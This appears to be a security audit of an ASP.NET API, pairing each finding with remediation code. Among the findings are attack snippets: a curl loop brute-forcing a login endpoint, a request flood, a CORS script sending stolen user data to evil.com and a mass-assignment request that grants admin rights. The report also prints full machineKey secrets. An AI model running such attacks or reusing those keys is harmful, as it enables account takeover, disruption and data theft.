APIs Repository - Security Audit¶

private static string GenerateHash(string pSourceText)
{
    UnicodeEncoding Ue = new UnicodeEncoding();
    byte[] ByteSourceText = Ue.GetBytes(pSourceText);
    MD5CryptoServiceProvider Md5 = new MD5CryptoServiceProvider();  // ❌ MD5 is broken
    byte[] ByteHash = Md5.ComputeHash(ByteSourceText);
    return Convert.ToBase64String(ByteHash);
}

public static string GeneratePassword(string pSourceText)
{
    string strTemp = GenerateHash(pSourceText);
    string strTemp1 = GenerateHash(strTemp);
    string strTemp2 = GenerateHash(strTemp1);
    string strTemp3 = GenerateHash(strTemp2);
    return strTemp3;  // ❌ Multiple MD5 iterations still insecure
}

1. Attacker gains access to database backup
2. Extracts password hashes
3. Uses rainbow tables or GPU cracking (100M+ MD5/sec)
4. Cracks majority of passwords within hours
5. Gains unauthorized access to user accounts

# MD5 hash can be cracked instantly
echo -n "password123" | md5sum
# Output: 482c811da5d5b4bc6d497ffa98491e38

# Lookup in rainbow table: INSTANT CRACK
# Online tools: crackstation.net, hashkiller.io

using System.Security.Cryptography;

public class SecurePasswordHasher
{
    private const int SaltSize = 32; // 256 bits
    private const int HashSize = 32; // 256 bits
    private const int Iterations = 100000; // OWASP recommended minimum

    public static string HashPassword(string password)
    {
        // Generate random salt
        byte[] salt = new byte[SaltSize];
        using (var rng = RandomNumberGenerator.Create())
        {
            rng.GetBytes(salt);
        }

        // Hash password with PBKDF2
        using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Iterations, HashAlgorithmName.SHA256))
        {
            byte[] hash = pbkdf2.GetBytes(HashSize);

            // Combine salt + hash for storage
            byte[] hashBytes = new byte[SaltSize + HashSize];
            Array.Copy(salt, 0, hashBytes, 0, SaltSize);
            Array.Copy(hash, 0, hashBytes, SaltSize, HashSize);

            return Convert.ToBase64String(hashBytes);
        }
    }

    public static bool VerifyPassword(string password, string storedHash)
    {
        byte[] hashBytes = Convert.FromBase64String(storedHash);

        // Extract salt
        byte[] salt = new byte[SaltSize];
        Array.Copy(hashBytes, 0, salt, 0, SaltSize);

        // Hash input password with extracted salt
        using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Iterations, HashAlgorithmName.SHA256))
        {
            byte[] hash = pbkdf2.GetBytes(HashSize);

            // Compare hashes
            for (int i = 0; i < HashSize; i++)
            {
                if (hashBytes[i + SaltSize] != hash[i])
                    return false;
            }
            return true;
        }
    }
}

// Add new column for new hash format
// ALTER TABLE UserLogin ADD PasswordHashNew VARCHAR(500)

public bool AuthenticateUser(string username, string password)
{
    var user = GetUserByUsername(username);

    // Try new hash format first
    if (!string.IsNullOrEmpty(user.PasswordHashNew))
    {
        return SecurePasswordHasher.VerifyPassword(password, user.PasswordHashNew);
    }

    // Fall back to old MD5 (temporary)
    if (SecurityHelper.GeneratePassword(password) == user.PasswordHash)
    {
        // Migrate to new hash format
        user.PasswordHashNew = SecurePasswordHasher.HashPassword(password);
        UpdateUser(user);

        return true;
    }

    return false;
}

<machineKey 
    decryption="AES" 
    decryptionKey="CB7B6A9A33A0496D5158CFEB6EB95B0AC538C6BF7F6D8D00851D2A4FB0E24858" 
    validation="HMACSHA256" 
    validationKey="C77B221F66E2C665DE95CEFCE724EAF0CEDD5E93D0E95221D64FF3FF7ECA0641FD5491909FB93E10559DA07D317AA91E8B8B7BE2E16F78D0888D48C6D912984B"/>

private static string _salt = "2GlHRj2MxxxC2Dnn"; // Random ❌ NOT RANDOM

1. Attacker clones Git repository or accesses leaked source code
2. Extracts machine keys from Web.config
3. Uses keys to:
   - Decrypt connection strings → Database access
   - Forge authentication cookies → Impersonate users
   - Decrypt view state → Access sensitive data
   - Generate valid tokens → Bypass security

// Install: Microsoft.Azure.KeyVault
// Install: Microsoft.Azure.Services.AppAuthentication

using Microsoft.Azure.KeyVault;
using Microsoft.Azure.Services.AppAuthentication;

public class KeyVaultConfigurationProvider
{
    private static KeyVaultClient _keyVaultClient;
    private static string _keyVaultUrl = "https://psyter-keyvault.vault.azure.net/";

    static KeyVaultConfigurationProvider()
    {
        var azureServiceTokenProvider = new AzureServiceTokenProvider();
        _keyVaultClient = new KeyVaultClient(
            new KeyVaultClient.AuthenticationCallback(
                azureServiceTokenProvider.KeyVaultTokenCallback));
    }

    public static string GetSecret(string secretName)
    {
        try
        {
            var secret = _keyVaultClient.GetSecretAsync(_keyVaultUrl, secretName).Result;
            return secret.Value;
        }
        catch (Exception ex)
        {
            ExceptionManager.LogException(ex, "KeyVaultConfigurationProvider.GetSecret");
            throw;
        }
    }
}

// Usage:
string connectionString = KeyVaultConfigurationProvider.GetSecret("PsyterDatabaseConnectionString");

<appSettings>
  <add key="KeyVaultUrl" value="https://psyter-keyvault.vault.azure.net/"/>
</appSettings>

<!-- Remove or regenerate machineKey -->
<machineKey validationKey="AutoGenerate,IsolateApps" 
            decryptionKey="AutoGenerate,IsolateApps" 
            validation="SHA1" 
            decryption="AES" />

// Read from environment variables
public static string GetConnectionString(string name)
{
    string connString = Environment.GetEnvironmentVariable($"ConnectionStrings__{name}");

    if (string.IsNullOrEmpty(connString))
    {
        // Fallback to Web.config for local dev only
        connString = ConfigurationManager.ConnectionStrings[name].ConnectionString;
    }

    return connString;
}

# Generate new machine-specific keys
aspnet_regiis -pc "MyCustomKeys" -exp

# Encrypt connection strings section
aspnet_regiis -pe "connectionStrings" -app "/PsyterAPI" -prov "RsaProtectedConfigurationProvider"

# Encrypt appSettings section
aspnet_regiis -pe "appSettings" -app "/PsyterAPI" -prov "RsaProtectedConfigurationProvider"

<customErrors mode="Off"/>

Server Error in '/' Application.

Invalid object name 'Users'.

Description: An unhandled exception occurred during the execution of the current web request.

Exception Details: System.Data.SqlClient.SqlException: Invalid object name 'Users'.

Source Error:

Line 145: command.CommandText = "SELECT * FROM Users WHERE UserId = @UserId";
Line 146: command.Parameters.AddWithValue("@UserId", userId);
Line 147: var user = command.ExecuteReader();

Source File: D:\Projects\Psyter\APIs\PsyterAPI\Repositories\UserRepository.cs
Line: 147

Stack Trace:
[SqlException (0x80131904): Invalid object name 'Users'.]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception)
   PsyterAPI.Repositories.UserRepository.GetUser(Int32 userId) in D:\Projects\Psyter\APIs\PsyterAPI\Repositories\UserRepository.cs:147

1. Attacker sends malformed requests
2. Observes detailed error messages
3. Maps database schema from SQL errors
4. Identifies framework versions from stack traces
5. Searches for known vulnerabilities in identified versions
6. Crafts targeted exploit based on intelligence gathered

<customErrors mode="On" defaultRedirect="~/Error" redirectMode="ResponseRewrite">
  <error statusCode="400" redirect="~/Error/BadRequest"/>
  <error statusCode="401" redirect="~/Error/Unauthorized"/>
  <error statusCode="403" redirect="~/Error/Forbidden"/>
  <error statusCode="404" redirect="~/Error/NotFound"/>
  <error statusCode="500" redirect="~/Error/ServerError"/>
</customErrors>

public class GlobalExceptionHandler : ExceptionFilterAttribute
{
    public override void OnException(HttpActionExecutedContext context)
    {
        var exception = context.Exception;

        // Log detailed error (server-side only)
        string errorId = Guid.NewGuid().ToString();
        ExceptionManager.LogException(exception, context.ActionContext.ActionDescriptor.ActionName, 
                                     GetUserId(context), errorId);

        // Return generic error to client
        var response = new BaseResponse
        {
            Status = 0,
            Message = "An error occurred processing your request",
            Reason = "Error",
            Data = new { ErrorId = errorId } // For support tracking
        };

        // Don't expose stack trace or detailed error
        #if DEBUG
        response.Data = new 
        { 
            ErrorId = errorId,
            Message = exception.Message, // Only in DEBUG
            StackTrace = exception.StackTrace // Only in DEBUG
        };
        #endif

        context.Response = context.Request.CreateResponse(
            HttpStatusCode.InternalServerError, 
            response
        );
    }
}

public class ErrorController : Controller
{
    public ActionResult Index()
    {
        return View("Error");
    }

    public ActionResult NotFound()
    {
        Response.StatusCode = 404;
        return View();
    }

    public ActionResult ServerError()
    {
        Response.StatusCode = 500;
        return View();
    }
}

{
  "type": "service_account",
  "project_id": "psyter-dev",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "firebase-adminsdk@psyter-dev.iam.gserviceaccount.com",
  "client_id": "...",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token"
}

1. Attacker finds public GitHub repository or leaked source code
2. Extracts Firebase service account credentials
3. Uses credentials to:
   - Send spam/phishing push notifications to all users
   - Access Firebase Realtime Database (if misconfigured)
   - Exhaust Firebase quotas → Service disruption
   - Impersonate the application in Firebase Console

1. Firebase Console → Project Settings → Service Accounts
2. Delete compromised service account
3. Create new service account
4. Download new JSON (DO NOT commit to Git)

# Install BFG Repo-Cleaner
# Download from: https://rtyley.github.io/bfg-repo-cleaner/

# Remove files from history
bfg --delete-files firebase-adminsdk.json
bfg --delete-files firebase-adminsdk-live.json
bfg --delete-files MerchantCertificates.p12

# Clean up
git reflog expire --expire=now --all
git gc --prune=now --aggressive

# Force push (WARNING: This rewrites history)
git push --force

# Secrets and credentials
firebase-adminsdk*.json
MerchantCertificates.p12
*.pfx
*.p12
appsettings.Production.json
.env
.env.local
secrets.json

# Configuration with sensitive data
Web.config
Web.*.config
connectionStrings.config

// Startup.cs or Global.asax.cs
public void LoadFirebaseCredentials()
{
    string firebaseJson = Environment.GetEnvironmentVariable("FIREBASE_CREDENTIALS");

    if (string.IsNullOrEmpty(firebaseJson))
    {
        // Development: Load from file NOT in source control
        string filePath = Server.MapPath("~/App_Data/firebase-adminsdk.json");
        if (File.Exists(filePath))
        {
            firebaseJson = File.ReadAllText(filePath);
        }
        else
        {
            throw new Exception("Firebase credentials not found");
        }
    }

    // Initialize Firebase with credentials
    FirebaseApp.Create(new AppOptions()
    {
        Credential = GoogleCredential.FromJson(firebaseJson)
    });
}

// Store Firebase JSON as secret in Key Vault
// Retrieve at runtime

string firebaseJson = KeyVaultConfigurationProvider.GetSecret("FirebaseServiceAccount");
var credential = GoogleCredential.FromJson(firebaseJson);

# Attacker script
for password in $(cat passwords.txt); do
    curl -X POST https://api.psyter.com/User/UserLogin \
         -d "{\"UserName\":\"victim@email.com\",\"Password\":\"$password\"}"
done

# Without rate limiting: 1000+ attempts/minute
# With basic password: Cracked in minutes

# Send 10,000 requests to expensive endpoint
for i in {1..10000}; do
    curl https://api.psyter.com/ServiceProvider/SearchProviders &
done

# Result: Database overwhelmed, API unresponsive

// Install-Package AspNetCoreRateLimit

// Startup.cs
public void ConfigureServices(IServiceCollection services)
{
    services.AddMemoryCache();

    services.Configure<IpRateLimitOptions>(options =>
    {
        options.GeneralRules = new List<RateLimitRule>
        {
            new RateLimitRule
            {
                Endpoint = "*",
                Limit = 100,
                Period = "1m" // 100 requests per minute
            },
            new RateLimitRule
            {
                Endpoint = "*/User/UserLogin",
                Limit = 5,
                Period = "1m" // 5 login attempts per minute
            },
            new RateLimitRule
            {
                Endpoint = "*/BookingPayment/*",
                Limit = 20,
                Period = "1m"
            }
        };
    });

    services.AddSingleton<IIpPolicyStore, MemoryCacheIpPolicyStore>();
    services.AddSingleton<IRateLimitCounterStore, MemoryCacheRateLimitCounterStore>();
    services.AddSingleton<IRateLimitConfiguration, RateLimitConfiguration>();
}

using System.Web.Http.Filters;
using System.Runtime.Caching;

public class RateLimitFilter : ActionFilterAttribute
{
    private static MemoryCache _cache = MemoryCache.Default;
    private readonly int _maxRequests;
    private readonly TimeSpan _period;

    public RateLimitFilter(int maxRequests = 60, int periodSeconds = 60)
    {
        _maxRequests = maxRequests;
        _period = TimeSpan.FromSeconds(periodSeconds);
    }

    public override void OnActionExecuting(HttpActionContext actionContext)
    {
        string key = GetClientKey(actionContext.Request);

        var count = (int?)_cache.Get(key) ?? 0;

        if (count >= _maxRequests)
        {
            actionContext.Response = actionContext.Request.CreateResponse(
                HttpStatusCode.TooManyRequests,
                new BaseResponse
                {
                    Status = 0,
                    Message = "Rate limit exceeded. Please try again later.",
                    Reason = "RateLimitExceeded"
                }
            );

            actionContext.Response.Headers.Add("Retry-After", _period.TotalSeconds.ToString());
            return;
        }

        _cache.Set(key, count + 1, DateTimeOffset.UtcNow.Add(_period));

        base.OnActionExecuting(actionContext);
    }

    private string GetClientKey(HttpRequestMessage request)
    {
        string ip = GetClientIp(request);
        string endpoint = request.RequestUri.PathAndQuery;
        return $"RateLimit:{ip}:{endpoint}";
    }

    private string GetClientIp(HttpRequestMessage request)
    {
        if (request.Properties.ContainsKey("MS_HttpContext"))
        {
            return ((HttpContextWrapper)request.Properties["MS_HttpContext"]).Request.UserHostAddress;
        }

        return request.Headers.GetValues("X-Forwarded-For").FirstOrDefault() ?? "unknown";
    }
}

// Usage:
[RateLimitFilter(maxRequests: 5, periodSeconds: 60)]
[Route("UserLogin")]
public IHttpActionResult UserLogin(UserAuthRequest request)
{
    // Login logic
}

<!-- APIM Policy -->
<policies>
    <inbound>
        <rate-limit-by-key calls="100" renewal-period="60" 
                           counter-key="@(context.Request.IpAddress)" />

        <rate-limit-by-key calls="5" renewal-period="60" 
                           counter-key="@(context.Request.IpAddress + "-login")" 
                           increment-condition="@(context.Request.Url.Path.Contains("/User/UserLogin"))" />
    </inbound>
</policies>

// ❌ DANGEROUS (if exists)
string query = "SELECT * FROM Users WHERE Email = '" + email + "'";
command.CommandText = query;

// ✅ SECURE
command.CommandText = "User_GetByEmail";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.AddWithValue("@Email", email);

# Search for potential SQL injection patterns
grep -r "CommandText.*+" APIs/PsyterAPI/Repositories/
grep -r "string.*SELECT" APIs/PsyterAPI/Repositories/
grep -r "ExecuteReader.*string" APIs/PsyterAPI/Repositories/

-- ❌ VULNERABLE STORED PROCEDURE
CREATE PROCEDURE User_Search
    @SearchTerm VARCHAR(100)
AS
BEGIN
    DECLARE @SQL NVARCHAR(MAX)
    SET @SQL = 'SELECT * FROM Users WHERE Name LIKE ''%' + @SearchTerm + '%'''
    EXEC(@SQL)  -- SQL INJECTION POSSIBLE
END

-- ✅ SECURE STORED PROCEDURE
CREATE PROCEDURE User_Search
    @SearchTerm VARCHAR(100)
AS
BEGIN
    SELECT * FROM Users 
    WHERE Name LIKE '%' + @SearchTerm + '%'  -- Parameterized within SP
END

// Install-Package Otp.NET

public class TwoFactorAuthService
{
    public string GenerateSecret()
    {
        var key = KeyGeneration.GenerateRandomKey(20);
        return Base32Encoding.ToString(key);
    }

    public string GenerateQRCodeUrl(string secret, string email)
    {
        return $"otpauth://totp/Psyter:{email}?secret={secret}&issuer=Psyter";
    }

    public bool ValidateCode(string secret, string code)
    {
        var otp = new Totp(Base32Encoding.ToBytes(secret));
        return otp.VerifyTotp(code, out long timeStepMatched, new VerificationWindow(2, 2));
    }
}

// UserController.cs
[Route("EnableTwoFactor")]
[HttpPost]
public IHttpActionResult EnableTwoFactor()
{
    var userId = GetCurrentUserId();
    var user = userRepository.GetUser(userId);

    // Generate secret
    string secret = TwoFactorAuthService.GenerateSecret();

    // Save to database
    userRepository.UpdateTwoFactorSecret(userId, secret);

    // Return QR code URL
    string qrCodeUrl = TwoFactorAuthService.GenerateQRCodeUrl(secret, user.Email);

    return Ok(new { QRCodeUrl = qrCodeUrl, Secret = secret });
}

[Route("VerifyTwoFactor")]
[HttpPost]
public IHttpActionResult VerifyTwoFactor(string code)
{
    var userId = GetCurrentUserId();
    var user = userRepository.GetUser(userId);

    if (TwoFactorAuthService.ValidateCode(user.TwoFactorSecret, code))
    {
        userRepository.EnableTwoFactor(userId);
        return Ok(new { Message = "Two-factor authentication enabled" });
    }

    return BadRequest(new { Message = "Invalid code" });
}

<customHeaders>
  <remove name="X-Powered-By"/>
</customHeaders>

<system.webServer>
  <httpProtocol>
    <customHeaders>
      <!-- Remove server info -->
      <remove name="X-Powered-By"/>
      <remove name="Server"/>

      <!-- Clickjacking protection -->
      <add name="X-Frame-Options" value="DENY"/>

      <!-- MIME sniffing protection -->
      <add name="X-Content-Type-Options" value="nosniff"/>

      <!-- XSS filter (legacy browsers) -->
      <add name="X-XSS-Protection" value="1; mode=block"/>

      <!-- HTTPS enforcement (HSTS) -->
      <add name="Strict-Transport-Security" value="max-age=31536000; includeSubDomains; preload"/>

      <!-- Content Security Policy -->
      <add name="Content-Security-Policy" value="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https://api.psyter.com; frame-ancestors 'none';"/>

      <!-- Referrer policy -->
      <add name="Referrer-Policy" value="no-referrer-when-downgrade"/>

      <!-- Permissions policy -->
      <add name="Permissions-Policy" value="geolocation=(), microphone=(), camera=(), payment=()"/>
    </customHeaders>
  </httpProtocol>

  <!-- Remove server header -->
  <security>
    <requestFiltering removeServerHeader="true" />
  </security>
</system.webServer>

private const int XORNUM = 65;

public string TextEnCode(string mText)
{
    // ... XOR-based encryption ❌ INSECURE
    if ((Convert.ToInt32(strChar) ^ XORNUM) != 0)
    {
        strChar = Convert.ToString(Convert.ToInt32(strChar) ^ XORNUM);
    }
    // ...
}

using System.Security.Cryptography;

public class SecureEncryption
{
    public static byte[] Encrypt(string plainText, byte[] key)
    {
        using (var aes = new AesGcm(key))
        {
            byte[] nonce = new byte[AesGcm.NonceByteSizes.MaxSize];
            byte[] tag = new byte[AesGcm.TagByteSizes.MaxSize];
            byte[] ciphertext = new byte[Encoding.UTF8.GetByteCount(plainText)];
            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);

            RandomNumberGenerator.Fill(nonce);

            aes.Encrypt(nonce, plainBytes, ciphertext, tag);

            // Combine nonce + tag + ciphertext
            byte[] result = new byte[nonce.Length + tag.Length + ciphertext.Length];
            Buffer.BlockCopy(nonce, 0, result, 0, nonce.Length);
            Buffer.BlockCopy(tag, 0, result, nonce.Length, tag.Length);
            Buffer.BlockCopy(ciphertext, 0, result, nonce.Length + tag.Length, ciphertext.Length);

            return result;
        }
    }

    public static string Decrypt(byte[] encryptedData, byte[] key)
    {
        using (var aes = new AesGcm(key))
        {
            int nonceSize = AesGcm.NonceByteSizes.MaxSize;
            int tagSize = AesGcm.TagByteSizes.MaxSize;

            byte[] nonce = new byte[nonceSize];
            byte[] tag = new byte[tagSize];
            byte[] ciphertext = new byte[encryptedData.Length - nonceSize - tagSize];

            Buffer.BlockCopy(encryptedData, 0, nonce, 0, nonceSize);
            Buffer.BlockCopy(encryptedData, nonceSize, tag, 0, tagSize);
            Buffer.BlockCopy(encryptedData, nonceSize + tagSize, ciphertext, 0, ciphertext.Length);

            byte[] plaintext = new byte[ciphertext.Length];
            aes.Decrypt(nonce, ciphertext, tag, plaintext);

            return Encoding.UTF8.GetString(plaintext);
        }
    }
}

public class UserRegistrationRequest
{
    public string Email { get; set; } // ❌ No validation
    public string Password { get; set; } // ❌ No validation
    public string PhoneNumber { get; set; } // ❌ No validation
}

using System.ComponentModel.DataAnnotations;

public class UserRegistrationRequest
{
    [Required(ErrorMessage = "User type is required")]
    [Range(1, 2, ErrorMessage = "Invalid user type")]
    public int UserType { get; set; }

    [Required(ErrorMessage = "First name is required")]
    [StringLength(50, MinimumLength = 2, ErrorMessage = "First name must be 2-50 characters")]
    [RegularExpression(@"^[a-zA-Z\s]+$", ErrorMessage = "First name can only contain letters")]
    public string FirstName { get; set; }

    [Required(ErrorMessage = "Email is required")]
    [EmailAddress(ErrorMessage = "Invalid email format")]
    [StringLength(100)]
    public string Email { get; set; }

    [Required(ErrorMessage = "Phone number is required")]
    [Phone(ErrorMessage = "Invalid phone number")]
    [RegularExpression(@"^\+?[1-9]\d{1,14}$", ErrorMessage = "Phone must be in E.164 format")]
    public string PhoneNumber { get; set; }

    [Required(ErrorMessage = "Password is required")]
    [StringLength(100, MinimumLength = 8, ErrorMessage = "Password must be 8-100 characters")]
    [RegularExpression(@"^(?=.*[A-Za-z])(?=.*\d)(?=.*[@$!%*#?&])[A-Za-z\d@$!%*#?&]{8,}$", 
                       ErrorMessage = "Password must contain letters, numbers, and special characters")]
    public string Password { get; set; }

    [Required]
    [Compare("Password", ErrorMessage = "Passwords do not match")]
    public string ConfirmPassword { get; set; }

    [Required]
    [Range(typeof(bool), "true", "true", ErrorMessage = "You must agree to terms")]
    public bool AgreeToTerms { get; set; }
}

[ValidateModel]
[Route("RegisterUser")]
public IHttpActionResult RegisterUser(UserRegistrationRequest request)
{
    // ModelState.IsValid checked by attribute
    // ...
}

public class ValidateModelAttribute : ActionFilterAttribute
{
    public override void OnActionExecuting(HttpActionContext actionContext)
    {
        if (!actionContext.ModelState.IsValid)
        {
            var errors = actionContext.ModelState
                .Where(e => e.Value.Errors.Count > 0)
                .Select(e => new
                {
                    Field = e.Key,
                    Errors = e.Value.Errors.Select(x => x.ErrorMessage).ToArray()
                })
                .ToArray();

            actionContext.Response = actionContext.Request.CreateResponse(
                HttpStatusCode.BadRequest,
                new BaseResponse
                {
                    Status = 0,
                    Message = "Validation failed",
                    Reason = "ValidationError",
                    Data = errors
                }
            );
        }
    }
}

<appSettings>
  <add key="applyCORS" value="true"/>
</appSettings>

// If using wildcard origin
var cors = new EnableCorsAttribute("*", "*", "*"); // ❌ DANGEROUS
config.EnableCors(cors);

<!-- Malicious website: evil.com -->
<script>
fetch('https://api.psyter.com/User/GetUser?userId=123', {
    credentials: 'include'  // Send cookies
})
.then(r => r.json())
.then(data => {
    // Steal user data and send to attacker
    fetch('https://evil.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>

public static void Register(HttpConfiguration config)
{
    // Define allowed origins explicitly
    var allowedOrigins = new[]
    {
        "https://psyter.com",
        "https://www.psyter.com",
        "https://app.psyter.com"
    };

    var cors = new EnableCorsAttribute(
        origins: string.Join(",", allowedOrigins),
        headers: "Authorization,Content-Type",
        methods: "GET,POST,PUT,DELETE"
    );

    cors.SupportsCredentials = true;
    config.EnableCors(cors);
}

// Or dynamic validation
public class CustomCorsPolicy : ICorsPolicyProvider
{
    public Task<CorsPolicy> GetCorsPolicyAsync(HttpRequestMessage request, CancellationToken cancellationToken)
    {
        var origin = request.Headers.GetValues("Origin").FirstOrDefault();

        var allowedOrigins = ConfigurationManager.AppSettings["AllowedOrigins"].Split(',');

        var policy = new CorsPolicy();

        if (allowedOrigins.Contains(origin))
        {
            policy.AllowAnyHeader = false;
            policy.AllowAnyMethod = false;
            policy.Origins.Add(origin);
            policy.Headers.Add("Authorization");
            policy.Headers.Add("Content-Type");
            policy.Methods.Add("GET");
            policy.Methods.Add("POST");
            policy.Methods.Add("PUT");
            policy.Methods.Add("DELETE");
            policy.SupportsCredentials = true;
        }

        return Task.FromResult(policy);
    }
}

// Current: Once issued, token valid until expiration
// Problem: Cannot invalidate compromised tokens

public class TokenBlacklistService
{
    private readonly IRedisCache _cache;

    public async Task RevokeTokenAsync(string token, DateTime expiration)
    {
        var jti = GetJtiFromToken(token);
        var ttl = expiration - DateTime.UtcNow;

        await _cache.SetAsync($"blacklist:{jti}", "revoked", ttl);
    }

    public async Task<bool> IsTokenRevokedAsync(string token)
    {
        var jti = GetJtiFromToken(token);
        return await _cache.ExistsAsync($"blacklist:{jti}");
    }
}

// In authentication filter
public override async Task OnAuthorizationAsync(HttpActionContext actionContext, CancellationToken cancellationToken)
{
    var token = GetTokenFromHeader(actionContext.Request);

    if (await _tokenBlacklist.IsTokenRevokedAsync(token))
    {
        actionContext.Response = actionContext.Request.CreateResponse(
            HttpStatusCode.Unauthorized,
            new { Message = "Token has been revoked" }
        );
        return;
    }

    // Continue with normal authentication
}

// Current: Long-lived tokens (30 days)
// Better: Short-lived access tokens + refresh tokens

public class RefreshTokenService
{
    public async Task<TokenPair> IssueTokensAsync(int userId)
    {
        // Short-lived access token (15 minutes)
        var accessToken = GenerateAccessToken(userId, TimeSpan.FromMinutes(15));

        // Long-lived refresh token (30 days)
        var refreshToken = GenerateRefreshToken();

        // Store refresh token in database
        await StoreRefreshTokenAsync(userId, refreshToken, DateTime.UtcNow.AddDays(30));

        return new TokenPair
        {
            AccessToken = accessToken,
            RefreshToken = refreshToken,
            ExpiresIn = 900 // 15 minutes
        };
    }

    public async Task<TokenPair> RefreshAccessTokenAsync(string refreshToken)
    {
        var storedToken = await GetRefreshTokenAsync(refreshToken);

        if (storedToken == null || storedToken.IsRevoked || storedToken.ExpiresAt < DateTime.UtcNow)
        {
            throw new SecurityException("Invalid refresh token");
        }

        // Issue new access token
        var accessToken = GenerateAccessToken(storedToken.UserId, TimeSpan.FromMinutes(15));

        return new TokenPair
        {
            AccessToken = accessToken,
            RefreshToken = refreshToken,
            ExpiresIn = 900
        };
    }
}

// Add unique identifier to each token for revocation
var claims = new[]
{
    new Claim(JwtRegisteredClaimNames.Sub, userId.ToString()),
    new Claim(JwtRegisteredClaimNames.Email, email),
    new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()), // ✅ Unique ID
    new Claim("role", userRole)
};

[Route("UploadProfileImage")]
public IHttpActionResult UploadProfileImage()
{
    var file = HttpContext.Current.Request.Files[0];

    // ❌ No file type validation
    // ❌ No file size limit
    // ❌ No content validation
    // ❌ No malware scanning

    byte[] imageBytes = new byte[file.ContentLength];
    file.InputStream.Read(imageBytes, 0, file.ContentLength);

    string base64 = Convert.ToBase64String(imageBytes);
    userRepository.UpdateProfileImage(userId, base64);

    return Ok();
}

// Attacker can upload .exe, .php, .aspx files
// If served from same domain → Remote Code Execution

// Check only extension is insufficient
// Attacker can rename malware.exe to image.jpg

[Route("UploadProfileImage")]
public async Task<IHttpActionResult> UploadProfileImage(int userId)
{
    if (HttpContext.Current.Request.Files.Count == 0)
        return BadRequest("No file provided");

    var file = HttpContext.Current.Request.Files[0];

    // 1. Validate file size
    const int maxFileSize = 5 * 1024 * 1024; // 5 MB
    if (file.ContentLength > maxFileSize)
        return BadRequest("File size exceeds 5 MB limit");

    if (file.ContentLength == 0)
        return BadRequest("File is empty");

    // 2. Validate file extension
    var allowedExtensions = new[] { ".jpg", ".jpeg", ".png", ".gif" };
    var extension = Path.GetExtension(file.FileName).ToLowerInvariant();

    if (!allowedExtensions.Contains(extension))
        return BadRequest("Only image files (JPG, PNG, GIF) are allowed");

    // 3. Validate MIME type
    var allowedMimeTypes = new[] { "image/jpeg", "image/png", "image/gif" };
    if (!allowedMimeTypes.Contains(file.ContentType.ToLowerInvariant()))
        return BadRequest("Invalid file type");

    // 4. Validate file content (magic bytes)
    var fileSignature = new byte[4];
    file.InputStream.Read(fileSignature, 0, 4);
    file.InputStream.Position = 0;

    if (!IsValidImageSignature(fileSignature))
        return BadRequest("File content is not a valid image");

    // 5. Generate safe filename
    var safeFileName = $"{userId}_{Guid.NewGuid()}{extension}";

    // 6. Scan for malware (optional but recommended)
    if (await ContainsMalwareAsync(file.InputStream))
        return BadRequest("File failed security scan");

    // 7. Upload to isolated storage (Azure Blob)
    var blobClient = new BlobServiceClient(azureStorageConnectionString);
    var containerClient = blobClient.GetBlobContainerClient("profile-images");
    var blob = containerClient.GetBlobClient(safeFileName);

    await blob.UploadAsync(file.InputStream, new BlobHttpHeaders
    {
        ContentType = file.ContentType
    });

    // 8. Store URL only (not file content)
    string imageUrl = blob.Uri.ToString();
    await userRepository.UpdateProfileImageUrlAsync(userId, imageUrl);

    return Ok(new { ImageUrl = imageUrl });
}

private bool IsValidImageSignature(byte[] signature)
{
    // JPEG: FF D8 FF
    if (signature[0] == 0xFF && signature[1] == 0xD8 && signature[2] == 0xFF)
        return true;

    // PNG: 89 50 4E 47
    if (signature[0] == 0x89 && signature[1] == 0x50 && signature[2] == 0x4E && signature[3] == 0x47)
        return true;

    // GIF: 47 49 46 38
    if (signature[0] == 0x47 && signature[1] == 0x49 && signature[2] == 0x46 && signature[3] == 0x38)
        return true;

    return false;
}

private async Task<bool> ContainsMalwareAsync(Stream fileStream)
{
    // Integration with Windows Defender or ClamAV
    // Or cloud service like VirusTotal, MetaDefender

    // Example: Azure Storage malware scanning
    // Or third-party API

    return false; // Placeholder
}

<!-- web.config -->
<system.webServer>
  <!-- Prevent execution of uploaded files -->
  <staticContent>
    <mimeMap fileExtension=".jpg" mimeType="image/jpeg"/>
    <mimeMap fileExtension=".png" mimeType="image/png"/>
  </staticContent>

  <handlers>
    <!-- Remove all handlers for upload directory -->
    <clear/>
    <add name="StaticFile" path="*" verb="*" 
         type="System.Web.StaticFileHandler" 
         resourceType="File" requireAccess="Read"/>
  </handlers>
</system.webServer>

// If using BinaryFormatter, SoapFormatter, or NetDataContractSerializer
// These are vulnerable to remote code execution

// ❌ DANGEROUS
var formatter = new BinaryFormatter();
var obj = formatter.Deserialize(untrustedStream); // RCE possible

// ✅ Use JSON.NET (already in use)
var settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.None, // ✅ Critical: Prevent type confusion
    MetadataPropertyHandling = MetadataPropertyHandling.Ignore
};

var obj = JsonConvert.DeserializeObject<MyType>(json, settings);

// In WebApiConfig.cs
GlobalConfiguration.Configuration.Formatters.JsonFormatter.SerializerSettings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.None, // ✅ Must be None
    ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
    NullValueHandling = NullValueHandling.Ignore
};

[Route("UpdateUser")]
public IHttpActionResult UpdateUser(User user)
{
    // ❌ Client can set ANY property
    userRepository.UpdateUser(user);
    return Ok();
}

// Attacker request:
POST /User/UpdateUser
{
    "UserId": 123,
    "FirstName": "John",
    "IsAdmin": true,  // ❌ Privilege escalation!
    "AccountBalance": 1000000  // ❌ Financial fraud!
}

// 1. Use specific DTOs for input
public class UpdateUserProfileRequest
{
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string PhoneNumber { get; set; }
    // Only properties user should be able to change
}

[Route("UpdateUser")]
public IHttpActionResult UpdateUser(UpdateUserProfileRequest request)
